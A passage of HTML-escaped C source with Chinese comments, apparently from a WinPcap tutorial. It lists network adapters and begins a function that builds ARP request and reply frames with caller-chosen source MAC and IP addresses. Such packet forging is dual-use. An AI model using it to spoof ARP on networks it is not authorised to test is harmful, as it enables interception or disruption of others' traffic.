style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(a-&gt;addr-&gt;sa_family)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;AF_INET:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;AF_INET\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;addr)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;IP&nbsp;\u5730\u5740&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;netmask)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;\u63a9\u7801&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Netmask:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;netmask)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;\u672a\u77e5&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;Unknown\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;do&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(scanf(&#8220;%d&#8221;,&amp;choose)!=1&nbsp;||&nbsp;choose&lt;1&nbsp;||choose&gt;i);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=1;&nbsp;i!=choose;&nbsp;p=p-&gt;next,i++);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;strcat(devbuff,p-&gt;name);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(ipbuff,NULL,15);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;a=p-&gt;addresses;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;strcat(ipbuff,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_freealldevs(alldevs);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;void&nbsp;Fill_ARPPACKET(char&nbsp;*ARPPacket,int&nbsp;packetsize,char&nbsp;*desmac,char&nbsp;*desIP,char&nbsp;*srcmac,char&nbsp;*srcip,int&nbsp;op)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/*&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*ARPPacket&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*desmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*desIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*srcmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*srcip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARP\u5305\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=(DLCHEADER&nbsp;*)ARPPacket;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFRAME&nbsp;*ARPFrame=(ARPFRAME&nbsp;*)(ARPPacket+sizeof(DLCHEADER));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPPacket,NULL,packetsize);&nbsp;&nbsp;\/\/\u6e05\u7a7a\u5305\u5185\u5bb9&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(op==1)&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8868\u793aARP\u8bf7\u6c42\u5305.&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 